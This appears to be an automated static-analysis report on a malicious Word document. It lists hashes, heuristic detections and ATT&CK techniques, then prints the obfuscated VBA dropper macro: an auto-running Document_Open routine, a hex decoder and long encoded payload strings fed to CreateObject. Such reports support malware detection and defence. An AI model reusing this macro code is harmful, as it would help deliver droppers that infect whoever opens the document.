Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a5e14eecf6beb956…

MALICIOUS

Office (OLE)

69.5 KB Created: 2016-08-03 06:57:00 Authoring application: Microsoft Office Word First seen: 2016-09-01
MD5: 4fde04b25ea20b6ab30c5e4984e01afc SHA-1: 7a35907df3ac0693be55a218be8d5b5b85673f45 SHA-256: a5e14eecf6beb956732790b05df001ce4fe0f001022f75dd1952d529d2eb9c11
270 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1059 Command and Scripting Interpreter

The sample is a Microsoft Office document containing obfuscated VBA macros, specifically an auto-exec loader within the Document_Open subroutine. The macros use CreateObject to execute commands, a technique often employed by droppers to download and execute further stages. The document body explicitly instructs the user to "enable editing" and "enable content", reinforcing the lure to bypass macro security. No specific family could be identified due to the obfuscation and generic nature of the dropper.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-1616692 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-1616692
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    CreateObject (JTCKC("64N63S")): 'T 5p xDV UvmLPjNp 5CcmzcgHlfe laV68rt
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    CreateObject (JTCKC("64N63S")): 'T 5p xDV UvmLPjNp 5CcmzcgHlfe laV68rt
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open() 'JbRney0GnDXL catHu8ErP130RtVq lk wR wc
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 20960 bytes
SHA-256: 98fcc54f066feb28d0996b70eef8dfbabd862b2bf7b04a14ce1357efb69fb4de
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). 207 of 332 identifiers look randomly generated (e.g. 'AV36A39F53M36R43W59C36I31O45T36Y32F4EJ36') — consistent with name-mangling obfuscation. Carved artifact contains 37 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function JTCKC(RBMCBAT): 'J3yWnBy4i45u Ziw 3IV80AJWBY6 PwsYAEd
'iAXphm ojCUXv2AizUrC8TKX6R S LTF
Dim DRHCQCOTI, SLTLFJOT: 'qxQirqdFdaXRZSwaRUh yqlY pQg m23rbfDPx
'e FSmT0 fR X NjQ CpPZ2SQh91v RM7RcU
For DRHCQCOTI = 1 To Len(RBMCBAT) Step 3: 'pu8D8Eib0g wavA 9aNrYSvP8MkmzpXisWsvTY
'GCNv05 QB bYANw5 gOEM2xOH 8A5zjv
SLTLFJOT = SLTLFJOT & Chr("&H" & Mid(RBMCBAT, DRHCQCOTI, 2)): 'Wd63Js7U U VpX fhN3lI T7KWow9JdO
'mXF3foxQz 2qU9m0hF3kAEs A4Fl4wTFN 01nd
Next: 'tiDe7 NA QRfWY1voDP7warSy ZRD5yNRb3
'9bVeK8D z6J0A Y n jGdcCou3ZQOHvn
JTCKC = SLTLFJOT 'dqI5ZnY Zl8MeYvnowjrEZRVLHaE7AIHeMpYiVzI
'BhtgSXac7KVHpzg YrN3pPUKj fwucVbzFd
End Function '2jwlgil6C UpuakH7vMYXUjD vkvy 65x
'9GoQM7B q rjTXCXUH0 L z8PH WDVvdhQFi
Private Sub Document_Open() 'JbRney0GnDXL catHu8ErP130RtVq lk wR wc
't1o8gNLoZEh 2cGUxt f3kWRKvw n5Wmn5 ln6nR
On Error Resume Next: 'HDVURt uKsTaU9F1HLonjXUxJt3lXoBFh5bQs
'k qx h68SLkSpK8Jfd1C73uOnt0af 897
CreateObject (JTCKC("64N63S")): 'T 5p xDV UvmLPjNp 5CcmzcgHlfe laV68rt
'0i4Jf5t HJxqAj iNElR oRCs ONRASv
If Err.Number > 0 Then 'bOtz8ghmjsUkiwuDl a1 6 5848 eRKUx
'mfPpaHuEO brs42Hs nSEJo9aPy xQOXNy
Dim FSGOPS: 'c gvoTbJ AywjkICIyTaEjdu2G6yE 2B8Kkhy
'1NF i4r QMaT s6 P2HDn8UXbKEH6c6n3Ma
FSGOPS = FSGOPS & JTCKC("34A34F4AL36Q39V50B37H33M56T36Y33D42J36P46U48Z37F35L4EQ36V45C54H37M34Z5AF32K30P45U37B34G4CL36T39Y52D36J33O57U36Z42E44J36P35V49Z37E34K4FQ32V30A55F33L32R41W33B35H47M32S34W4DC32H30N55S30X44D41J30O41T46Y32E33J4CP35U37Z53E34J31P58U32B30G44L33S31X4BE33J36O50U33Z34E56J33P35W42A32G44N49S36X37E4FJ33Q36W55B33H31N42S33Y37E48L33Q39V4FA33G35L55R30X44D5AI30O41V46Z30F44K4CQ30W41B51H32N44S57Y32F44K"): 'MtgV8rl3yJoMAqMAlTg8wKADwunaocdL zdkt1As
'G4P7 3 ZwMHot CeH RVc0tPYLQzSiqY9Zj
FSGOPS = FSGOPS & JTCKC("43K32Q44V49B32H44M4ET32Y44E54J32O44V5AA32F44M45R32W44B4CG32O44T52X32D44J57O32T44Y43F32K44P49W32B44H4FM32Q44W56B32G44M42R32W44B48G32M44R4EW32B44G54L32Q44V41B32F44K47Q32V44B4CG32K44P53V32A44G59L32R44X46C32H44N4CS32Y44D52I32N44T59Y32E44I44P32U44A49F32L44R51W32A44G56L32S44X43C30J44O49T30A41F4EL35R34W56C36H35M41T37Y32E47J36O44U4EZ37D33K53P32V30B41G36N31R46X36C45H4CN36T34Y53F32J30O57V34A"): ' u23Yu BZ ug R2yCAlqBDcyT y Nky7NX k
'ODE 8mapWkym fE aHh 8x EsDhzkHj0SAyExgh
FSGOPS = FSGOPS & JTCKC("33A44F36L46R4AW36B45I4FN36T34Y56D36J39O42U37A34F47L36Q39W4FC36H46M54T36Y45D5AI37O33U47Z33E41L4DQ30V44A54F30L41Q41V30B44G47L30Q41V4EA32F30L53Q32V30A59F32K30P46V32A30F4CK35P30U52Z37F32K59P36U39Z44F36K33P4AU36Z35E50J37P33U56Z32D30K42P36U31A48F37M32R4EW36B35H54M32R30W5AD36I33N47T36Z46E4DK37P32W53C37G32N58S36X35D44I36P33U4BZ37E34K51P32V30A57H36M31R44X37D34I4AN32S30Z50E37J34P57V36A39G43L"): 'Tawo7RBKhO43QxCNBvEu9N 6N9EqSqYT
'WV K1V5 9XkV P0WICwc NhC04Qz2zdKts
FSGOPS = FSGOPS & JTCKC("36M44R4AV36C35I50N32T30Y55E36J46O43W36B36H48N32S30Y4ED37I30P56U37Z35F41K36P32U49A36H43L4EQ36X39D54I36N33S41Z36E31J46O37U34A4DE36K39P52V36A46F57K36Q45V45B32G30L4BQ36W31B50G36M45R57X36C34H43N32T30A49F36K31Q4FU37Z32F54K36Q35V5AZ32E30K46P37V33A4BH37M35R52W36C32H57N36S41Y43D36I35P4AU36Z33G50L37R34X55C32I30O41T37Z34E47L36Q46V4EA32F30K54R36V31C59H37M36S47Y36D31I4DN36T39Y52E36K43P58U36B31G"): 'K 3Lo6xwvVTAceXEZeOdSjebThKhsQsbcqbfVa
'n9GoTts 37k9yUWHE04 l21VI RDl7BPO FM sQN
FSGOPS = FSGOPS & JTCKC("44J36O32U4BA36F39K50R36W43C56H36N39S41X37D34K48O37V39A4FF32L30Q55V36C31H5AL36R45W47D36I34N4DU32Z30E53J36O33U58Z36E38J43O36T31Y4BE36J45O51T36Y37D56J36O35T44Y32D45I49O32T30Y4FC35I30N54T36Y43D5AI36N35S47Y36D31I4EN37S33X54C36I35N41T32Z30E47K37P33W4CB36G35L54Q36W35B5AG32M30R47X36D35I4DN36T45Y52F36L37Q5AW36B43H46M36R39Y4CD37I33N53S36X38E59J32P45U46A36G33L4CQ37W34B52G37M32R59X36C39H45P37T"): '3YdjSphjO4oG6sgk ZLeUtuZkjz5X qr6Qhd38Ln1
'g9fiKoKb0q zVRVnS N80 xIxHGC8LXS j
FSGOPS = FSGOPS & JTCKC("30X4AC32I45N52T36Y33F58K36Q46V43A36G44M4AR32X30C4FI37O34T57Z36E46K43P32U30Z48E36K33Q50V36A46H55M36R45W5AB36H36M47R36W39B4CG37L32R54W36B44G59L32Q30W44B36G31L4DQ37V36B52G36L31P5AV36A39F45K36Q43U4BC36H31M52R36X32C58I36N39S44X36D43J4BN36S39Z51E37K34Q57V37B39F42L32Q43W48C32H30M4FT37Y30D55K37P32V41B36G39M46R36W33D4CI36O35T53Y37D33I59N32U43Z45F32K30P4BW36B31G50L36R45X55B36H34O43T32X30E48K"): 'P vZL4Y6ZyIB8V rceS7Vv2Xqn8H8P 2ZhK2a7qa
'3 vJ8iG0mW9CSH3Z3rMWDkT19pC7sRPU8H48eT
FSGOPS = FSGOPS & JTCKC("36S31X4ED37J30O54T37A30F59L36Q43V45C36G39M4BS36Y33D51I36O31U58Z36E32L44Q36V43A4CG36M35R51W32D30I56N37S34X45D36I35N4AS37X32D50I36N44S58X37C33I44N32S30X4AC36H31M4FR36X45C55H36M34R44X32C30H4AM36R33W50B36H46M58R36V45B45G36L34Q4DV36B39H53M37S34X59E36J39O47T36Y46D4DJ36O45U53A37F33L5AR32W45D47H30O44T4FZ30G41L55Q32W30B5AI32N30R46W32C30H4CN32S30Z51E34J36P57V36A43F43K36Q39W49B36H37M4DR36Y38D"): ' Gt3RP 8 93yEzWyg12QiwpKByRCBIl0
' 7Nen q0hOyC Mz OqUsLZftCz1R jpqf
FSGOPS = FSGOPS & JTCKC("53L37R34W59C37H33M45T32X30E4AJ36O36U54Z36F46L41P37W32B4DG32M30S56X36D33I42N36S35Y4AE37J32O4FV37A34G55L36R31W44B36G39M49R36X45C52H32N30S58X36C34I43O36T31Y4BD37J34O50U36Y35E56J37P33U43Z32E30K48Q36W44B4DH36M31R54W37B39H5AM32R30W45B36G32L4BS36X35D51I32N30T56Y37C33I42N36T46Y4BD36K43P51U36A34G56M32R30W45E36I46N4DU37Z35E52K37P34U58Z32E45K44Q32X30B4AG34N39T50X36C45H57O32T30Y45E37K34P4BV36A"): 'wCEQMj DuhzwCJX x4SoR 1D10hYicgJDW3lLo
'FGBohvD HmXAQu 1Jr7ZxuDeG0 1Oj7Ckl7 50
FSGOPS = FSGOPS & JTCKC("38N51S36X39D59J37O33U46Z32G30L4EQ36W35B54H37M36R59Y36D35I47O36T45Y4DE37K34P53U32A43F41L32Q30W48B37G30M4DR36W43B53G36L35Q59W36B31G44L37Q33V4AB36G35L4FP32U30A55F37K34Q41U37Z32F46K37P39V4CA32F30K52P37V34A5AF36K46P45U32Z30E4BJ36O35V53A36G45M5AR37X34C46I36O35T4BY37D32I51P32U30Z57G36L31Q42W36B45I48N36S46Z50E37J34P56U36A38F42L36Q35V47A37G32L4DS32X30C53J36O36T58Y36D43K44P36U39A49G36L37R4FW"): 'KdtLgawlSQdRi 8E3NfDzKs5ARvrf7fTd8 N2f3j
'wrW712 opbQj9t3qUJS q VLkV kMSkB8Nd 4l
FSGOPS = FSGOPS & JTCKC("36I38N57T37Z34E43J32P30U48B36G34L4ER36W31C53H37M34T59Y36D35J45P32U45A4AE30J44P52U30A41F57L32R30W43C32I30N49T32Y30D4EJ32O30T54Y34E31J5AP36U39Z46E37L32Q4BU36A43F51K36Q39V57A36F45L42Q36V35A47F37L33S4EX32C30I55N37S32X41D36I35O49T37Y33D4FI36P35T54A37G32L59Q37V36B45G36L35R4BW32C30I50N37S32Z56E36K39Q44V36B37G4AL36S38W50D37I34O55T32X30C41J37P34U47Z36F46L4DQ32W30B52G36M31S58X36D34I44N36U41Z"): '8e t dK1 Dilgng2U k3EDCipm6IE 1 uhdO
'KA 2EuwI4 LCwlkWNr 316A 2j5bL0h 4 U92fDQ2
FSGOPS = FSGOPS & JTCKC("49P37U35Z54G37L33Q5AW37C34H45M32S30Y4CD37I30O52T37A32E57J36Q39V43A36F33L49Q36V35B4FG37M33R54X32C30I5AN36T31Y46E36J45O4BT36Y34D51I32O30T57Y36D33I43N36S46Y49D36I45N4ES37X34D54I37N32S59X36C46I45N36S43X4BC32H30N51S37X33C57H36M35R46Y36D31I4DP37U34A52G32L30Q58V36A31G44L37R36W49B36I31N4ES36Z39E54K36P43U5AB36F31K45R36W32C4BH36M39S50X36C43I56N36U39Y43D37K34Q4AU37Z39E4FL32Q30V5AC36H31M46S36X"): 'lr ED512iOMQt 68YRCMRE7WAxODP8b
'omKs nf 9x yOAdsw O28I 7o wC2EXL QZe
FSGOPS = FSGOPS & JTCKC("33S4BX36D33J51O36T46Z58E37L32Q47V36B34G4DL36R39W53D36I45N41T36Z37E48K32O30U4EZ37F34K57Q36V46C43G32M30S48X37C33H4EN36T31Y54D36I43N5AT36Z35E45J37O33U4CZ32E30J51P37U33A57F36K39P42V37A34F48K37Q35W4EC36H31M56S37X34C41H36M39R47W36C46H4DM36Q45X53C32I45N41T32Y30E47I34N36S4DZ36E39J58Q36V45B43G36M31S4AX36D43J52O32T30Z58E36L36P47V36A31F4EK37Q32V54C36H35M42S32Y30D48I36M32T4DY36E31J54P37U33A59F"): 'ylhY09eP8obk f MFwsGHRe0vGxIkYUy 0 F
' SEdgpoFI8U uT sZlSsBsE1jUc1Icjg dGmhz0y
FSGOPS = FSGOPS & JTCKC("36U35Z45F36L34Q4BV32B30H51N36R46X56D36I45N42T32Y30F48J36P31V4DA36F39L52Q37W32B41G36M43R46X36C39H4BN36S45Y54D36H35M5AS39X32D46I37M33S4EX32C30I53N36S31X58C36I33N44S37W34B4AH37M35S53X36C31H58N36S43X44C32H30M4ES37X33C54H36L31Q43W36D43I4BN36T35Y50F32K30Q56V37A30F42K37Q32W48B36H39O4DS36X33E53J36P35V59A32G45L44Q32X30C4AI35N33T52Y36D35H57O36T31A43F37K34R4BV32A30H51M36S31Y59D37J36O45T36A31F"): 'ScFiRwIqpcwxsf9ne2Alwsy6jTYWgqWY KQZQo
'0 ED04zQ5Ry2i0X8C x0SuPfvEBETsDs
FSGOPS = FSGOPS & JTCKC("4AV36A39F53M36R43W59C36I31O45T36Y32F4EJ36O39V53A36G43L41Q36X39C47H37M34S4CX37C39H55O32T30Y41E37J33P47U37Z35E4CJ36O32U52Z36E41J58O36T35Z43E36J33N49T37Y34D4FJ32O30S55Y37D34J59O36T46X4AD32I30N51T36Z31F57K36Q39V44A37G32L49Q36V43B53G36M39R5AX36D45J45O36U35Z4BF37J33O51T32A45F57K30R44W42B30H41M48T32Y30D52K32P30U57A32F30L44Q32V30A4EF35L33R53W37D30I42N36T35Y49E36J33P4FW36B39F58M36R31W44C36I"): '7GCwJKO BpNqkPm3J 84eB1FdCajR Jj5 V3R
'QK DeXT GhD E8UOa4 nejJGcxkxWvR xck7
FSGOPS = FSGOPS & JTCKC("43G4AL32Q30X53C36G36N59S36Y31C48H37O32T4EY36D35I54O37T33Y5AE32J30O45V36Z44E4AJ36P31V50A37E39L56Q32V30A41F36K32P47U36Z35E4DJ32O30T52X37C33H58N37R35X44C36H32L4CQ36V41A52F36L35Q41V36Z33E46K37P34U4CZ32E30J52N37T34X58D36I46N43S32W30C49O37T33Z4FF37L34Q54W37B32H5AM36Q39W46D36I33N4FT37Z34E54K32P30W59A36G33M45R36W38C4BH36O31S53Y36D45I59N36T37Y44F36K35P4AV32B43G4FL32Q30W55C37H32N5AS36X35D46I"): 'c t6s fMcJV s2 apLxCmQhLsIpA Nw cz tGh
'57 RX3Zakum3 r eF 1MW6nbAKzxjrWC
FSGOPS = FSGOPS & JTCKC("36Z36E4EK37Q35V54A36H45M59S36X34D45I32N30T4AZ36E31K4FP36U45B58G36L34R45W32B30G4EL36S35X54C36J45O5AT36Y34E46K36P46U4CZ37E32K52Q37V33A58G36L35Q43V36B44G4AL36R35W50B36H45M55S37W34C41H32N30S47X36D33K4CQ36V46B53G36L45P58V36A34F44K36Q39U4AZ37G34L50R36W39B55H36M46R41W36B45I47N37S33Z4DE32J45P53U32B30G5AL35S30X45C36I43N4CT36Y35E56J36O31T44Z37E33L49Q36V35C4FH32M30R55W37D32I41N36T35Y47D36J36O"): 'vZNXl HfU1 85YVZosiTWObLcB8k8T zL5Dj
' H2cRm4qJBL1THIUB W 8I23d7EOi9 1yuC B
FSGOPS = FSGOPS & JTCKC("4DF36K35Q57V37B32G44N32S30Y4AD37I34O54T36Y46F41K32P30V4BA36G33K53Q36W46C59H36M45R49Y36D34H50O36T39Z55D37I34O45T36Y39E4CI36N46T56Y36D45I42N37S33X49D32I30N52S36X46C59H36N36S45X32C30H4AM36S33X50C36H46M56S36X45C42H36M36R48W36C39H4EN37S32Y53E36J44Q59V36A35F45L36Q34W4AB32H30M53S36Y32D59I36P46T45A36G46L4BR36W42B50H36M39T56Y36D45I42N36S37Z47E32K30P4CV36A36G52L36Q46V58B37H32M47S32X30C4CJ36O"): 'NcgcsJjdrsqoLviXa Q418Tx iXm0LNE
'SLAD 6KVJ l I kH20PelINAj71umQ Mm2heE9go
FSGOPS = FSGOPS & JTCKC("34G51M36R35X57C37I34O43T36A31F48K36Q39V4DA36G43L54S37X33C43I32N45U49Z30E44K4DP30V41A54F32L30R59W32C30H45M32S30W4AB32M30R51W34B33G57L37Q34U42A37F32K48P36U39Z4EE37J30O53T32Z45D59I36N33S46X36D46I4BO36U44Z51F32J30O57U34Z39E42K36U45A4EF37L34R54W36D35H41N37S32X47D36I45M4CT36Z31E53K37P34U59A36F39M46S36W46D4CI36N45T52Y36F31K58O36T43Y44D32L30P49W34B43G4FM37S34X56C36H34N41T32Y45E47J32O30V4DA"): 'xezgyU b kWUjAwVLQ XPkKQo 4osEibxOq
' MWle9ql2qN 1jQrk5 1el9p3ASTulqeLTi
FSGOPS = FSGOPS & JTCKC("32R38X52C34I33N58T35Z34E44K35Q32V4AA35F30L4FR32W39C55I32N30T41Y37D32K46P36U35A4CF37L33Q52V36C35H58M37R32W44C37H36M4AR36W35C4FH37M33R59W32B30G47M36R31W4DB36G43L52Q36W43B58G32L30Q43W37B32G49L36Q39W4FB36G37L58Q36V38A44F37K34Q4AU37B33G4FL32Q30W56D36I46N47T36Y36D4DJ32N30U54Z36F36L5AQ36V39B45G36N45T4BX36E31J50O36U43Z56G32L30P46V36A39F4EM36Q45X53C37I34O45T36Y35D4BI37P32U54A37H30M42R37X32D"): 'J Wrk1yGe8PlvNcrVF1QmSOtC 8LY2nQfTwv6
'gaRlJcLUD Vl9ho cBIFO5mAJxyxYMP3aY Y8
FSGOPS = FSGOPS & JTCKC("47V36A35F4DM37R34W53C36I31O59T37Y34E44K36O39V4AA36G46L50Q36X45C55H32N45S41Y30D44I47O30T41Y4CF") '0kTq swWoT1yNuFR15icI5 Wz 0sc7GEQqLK
'DFOzB8RvhNePdtJ3uk9b5q84 9z jt4AbDC6jC
FSGOPS = JTCKC(FSGOPS): 'Va zcf i 49CVOj7Bk3VyXZxhkAR0 DJd3
'gsfp GIBsH KfWs Hp 46s 2 8NC HL UxNFAx
Selection.WholeStory: '1huxWtDLa5nHQn AeG9RElzy IzdBAZkg2HBU3
'Mt2FcJoRT Eed PqXDnLlafoQBxsCc7L ONPe9
Selection.Delete Unit:=wdCharacter, Count:=1: 'pGLe3 hIB5gQKr2PayW3s5s nN KY pSE6liV
' W2xwiy BD CUoA9PD2L 6i40ZKmD QhIQK0ezhzy
Selection.TypeText Text:=FSGOPS: 'k 9cEl65CQUwj3A89 utKtYUz45i 9 Z
'lBz o 4UfQd54 3x FWknBFcm2m 7v16K4Mx
Dim NAQGP: 'x6bx2p g1 w7ays y2XI v0dh2xK6l yse4b
' bW695j6u4ZYrwvkqhyHwhy u0wd Xt29vEwYgHe
NAQGP = NAQGP & JTCKC("37P36T58Y36F31K44Q37V32B4AH32M30R51X35D33I58N36T38Z43E36J35Q4BV36A43F51L36Q43V59B34H46M44R36X32C4AI36N41S51Y33C44H56N36S45Y42D36H35M48S37X37C4DI32M30S55X34C31H5AM36R33W46C37H34M4CS36W39B52H37M36S58X36B35H44M35R38W49C34G46L4FQ36X32C54H36N41S5AZ36E35J47P36U33Z4DD37J34Q53V32A38G59M32R37X45C35J37O4CT35A33F52K36Q33V58B37H32M45R36W39B4BH37M30T50Y37D34K57P32U45Z43E35L33Q48V36B38G4EM36S35X"): 'evDSuTS gZLzIogVu Qgfz POsQ 7 JUlj ZK0VR
' 9y wn 3l jVa7L92NXQdU0S8JrS 807AxbQaGf2
NAQGP = NAQGP & JTCKC("54Q36V43A59H36M43R45X32D37I4BO32T39Z51E33J42P56V37B36F43K36R31X49D37I32O4FT32Y30D55K34P36U5AA37G33L46Q36W46C4EH34M46R53W36C32I41N36S41X46C33I44N4CS36Y45D53J36O35S58Y37E37J44O32T30Z4BE34K31P51V36C33H58M37R34W44C36H39M4AR37W36B51H36M35R56X35C38I42O34T46Z49E36J32O4ET36A41F55K36R35W42B36H33M47T37Y34D4FK32P38U55A32G37M5AR35W33B47G36M33S4DX37E32I54N36U39A5AE37J30P45V37A34F4CM36R39W52C36I"): 'nh4uX0v93yX1GEGJB P3x40 T Sbp9R
'pcAQR4hmTa8iLUTwWbM5PjEb5Kv 81Sa1A M
NAQGP = NAQGP & JTCKC("45O58T36Z37F44K32P45W49B34H36N50S36Y39D56I36P43U41A36F35K49Q35V33A4EH37M39Q54W37B33I42M37R34Y47E36J35O4FT36Y44E54J34O46T5AY36D32J47O36T41X4CD36I35O52T36Y33D59I37N34S45X32D37H4CM32S39X51D33I42M57S37X36C43I36N31R48X37C32H4EM32S30Y55D35I30O41U36B31G48K37Q34V4DA36F38L53Q35W38B5AH33M44S46Y35D33K4CP36V38A52F36K35R57V36C43H44N36R43W4AB34I46N50T36Z32E57K36P41U42Z32F45L48Q36V35C4FG37L38T55Y"): ' Zaev837VGjpVI oOhd zAyEjcBg7 ry e
'KTrazryzt 4T6xUnGiy5Bk3o1 kO8Qe Naqj
NAQGP = NAQGP & JTCKC("37M30R42W36C31H47N36T45Y4DE36K34P54V34A35F41M36Q45X47C37H36N4ET36Y39E54I37O32T41Z36F46J47P36W45B4CG36L44Q54W36B35G59L36Q45W45B37G34L4BQ35V33A51G37L34Q57U37A32F44K36Q39V49A36F45K51P36U37Z56E37K33R42W32B38H48M32S37X4EC32I35N53S34X31C59H35O30T45A35F30L4BQ34U34A51F34L31R57W35B34I45M34S31Z4AE32K35P50V32A37G56L32S39W42C33I42N48S35X30B4EI36O31T54Z37E34L41P36U38A47F35L38Q4CW33C44H52M35S30Y"): 'a0 VymoXE9CbN7xgw7So e6 SdTA 46nf36c4
'z osF4IFHixLqZjSOY ndoCij xAL8Pl8
NAQGP = NAQGP & JTCKC("58R36W31B45I37N34S4CZ36E38K51P35U38A57F32K42R43W32C37H4AN35S43Y50D35K43P56U32Z37F42L33Q42V48C37H36M4ER36W31B53G37L32Q59V32B30G46M34R36V4CA37G35L52R36W43A58F36L43Q44V35A38F4AK33P44V4FA35G30K55P36V31A42F37L34P48U36Z38F4EK35P38U55A32F42K42R34V36D47I37O33T4EY36E46J54N34U46A41F36L32Q47V36B41H4CO32T45Y54E34J37O59U36Z35G45L37Q34V4DA35F34M51R36X35D59I36O44T44Y37E30J4AP34U45A52F36K31Q57W36B"): ' 2QZ5y Vb10zkDvS q3ClVamz V 7HMX
' xe z2 8dTg40PQmen5nXnAcqs YBiVMx
NAQGP = NAQGP & JTCKC("44V44A36F35M4BR32W38C51I32O39T57Y32E42J42O32U37A48G32L45Q4FX36C35H55M37R38X41C36H35N48T32Y37E4EJ33P42V53A37F36K59Q36W31A45G37L32R4CW32B30G52M35S38X58C36I44N45T36Y43D4BI36O38T52Y37D34J58O37U34Z43G37L30Q4BV34A46F51L36Q32W56A36F41K44P33U44B49F36M45S4FX36C35H55N37S37X5AE32J30O48U34Z31E4DL36Q33W54C37H34N5AS36X39D45I37P36U4DA36E35J52O35V38A58G34M46R44X36C32H4AM36S41Y4FD36I35P57T36Y33G42L"): 'LM29yxsoTbWw HaugC ZWOgE4IxKIEx4 yl
'ZSv3sAtWBX5b6dyXAjtRnZv hv1Q9V3gx ugsHL
NAQGP = NAQGP & JTCKC("37X34B49G32N38S4FX32D37J54P34U44Z59G37L33Q45W37B38H4BM36R44X53C36I43N59T33Y32E46I32P45U4CZ35F38K51Q34W44B59F34L43Q44X34C38H4AM35R34X51C35G34M57R35X30C45H32M37R4BW32C39H51M33Q42W57B35H38M43R36W44B49H36M43R51W36A38G57L37Q34V43B37H34M49R37X30C4EK34P46T54Z36E32J59P36U41A45F32K45Q4AV36B46H50M37T30Y58E36K35P43U36A45F49L32R38W4FB32F37K54S36X37D5AI36N35T46Y37E34J4CO32U37Z51F32L43Q57V32C37H"): ' wIocxrfFMo1NbuRV tPGytV95r I6anUC6
'L1CiW sM5IFhIyB 7gaHX97PnaSh7BGW
NAQGP = NAQGP & JTCKC("43P36U38Z48G37M34Q4EX37D34I54N37S30Z41E33I41P47V32A46F4DL32S46W53B33H32N59S33X31C47I33N36T4DZ32E45K52P33U31Y5AD33J37O45U33Z30E4DJ32O45T52Y33E31I58O33T32Y46E33J36N4BS32Y45D51I33O33S57X32C46I43N37U37A49F36K36P4FV36A39G54L36Q43V5AB32G46M46S36X36E4BJ36P39U51Z36E43J57P36W35A45F32M45S4CW36D35I51O37T38Z57G36K35P43W32B37H49M32R43W4FC36H36N55S36Y31D41I36P43U47Z37E33J4DQ36V35A55H32M39R41X33D"): 'RGuFWwTz 4Lya PjC 3Za4 JO7YaHXH17
'cXP 5XfRuGS5kFHTpHKVhudEtryUuGbJRYlh
NAQGP = NAQGP & JTCKC("42C48H35M38S4FX36D44J56O36U43A44F36K38P4AV37B34G50M37S34X57D37I30N44T34Z46E4AK36P32V52A36F41M58Q32W45B44G35M33R4AV36B35G50M37R34W56A35F32L42Q36W35B48F37K31Q4EV37A35G54K36Q35V5AA37G33L46P37V34A4CG34L38Q54U36A35F59K36Q31V45Z36E34L4DQ36V35B53G37N32S59X32C38H44N32S37X4BD35J35O51U37Z33F56K36Q35X42C37H32O4AT32Y44E4FJ34Q31V55Z36E37J41P36V35A46H36M45R4CX37D34I52N32S37Z57E32J43P43U32Z30G49L"): '1I Jc8uwUv9eyVNVXzW5BvlxvWaS selm12hP6aFJ
'Z T jntLzKh9tho xGtB mlonAIe 5Cr
NAQGP = NAQGP & JTCKC("32I37O52S34Z44E58J36P46V43B37G41L49R36W39C4FH36N43T54Y36D43J5AP36U31Z45E32K46P4DV33A35F53L32R45W59C33I30N44S32X30D4AJ32O38T50Y35E37J55P36T39Z42E36K45P48U36A34F4DL36Q46V53B37G37L59Q37V33B44H32M30T4AY34D45J52N35S34Y57D32J30O45S33X36C4AH32O45T50Z33F31K56P33U42Z41F32K30Q47W35B34H4DM37S32Z52D36K39P5AV36A34H46N36S35X4BE36J45N51T37Y34D57J32O46V43B33G37M48S32X45C4EH33O30T54Y33E42J5AO32U30A"): 'hJRr I i yw 3 4E4FK GOU h9H I2LS3rtAUE7
'DMSbp SMWLo7 F1dLbLoZb LiZDyuos HDv6NSKw
NAQGP = NAQGP & JTCKC("47Z37E32J4FP37V36A56H33M41S42X33C31I48N33S31Z4EE32K45P54U33A30F5AK32Q39W45B32G30L4CS36X43C52J36O39T57Y36D42I43N36T35Y49D32I30N4FS34Y37D55H36N35S41Y36D33I47M36R42X4DC36H46N53R32W37C58H32N39S44W33C42H4BM35R38W51B36G44M57R36W43B44H36M38S4BY37D34K50P37U34Z56E37K30P42V34B46G47L36R32W4DC36I41N53U32Z45E59K37P33V44B36G35M4AS36X45C4FG36M34T55Y32E38J43O32U39Z48F33K42P4FV37A36G58M36R31W45D37I"): '0Gyanq1 lIHzklp8dI6hImGU9yw4t8S8gjeG9
'N4Z8uFkZxWzOpq4ln7 WmxAD Zo AvWduaWXyS
NAQGP = NAQGP & JTCKC("32O4AU32Z30F52L35Q33W57B37H34N45S37X32D4DI36O35T52A36F31K41Q36V44B47G34L46Q4EV36B32H56M36R41Y42D33H44N49S36Y45D4FI36N35S54X37D37I5AN32S30X47C34I31N4CS36W33C52H37O34S58X36D39I43N37T36X49C36I35N4FU35Z38E57K34Q46U43A36F32L48Q36V41A4EG36L35R54W36D33J42N37T34Y49E32J38O4EV32A37F56L34R31W44C34H34O49T34Y46F52K34P34V59A34H32M47Q32V45B4EG35M33R54Y37D34I42O37U32Z49E36J35Q4FV36A31G54L36R44X5AC"): 'K huop0lEbNF 3SR62NZrUNha oz qxAX aKR3P
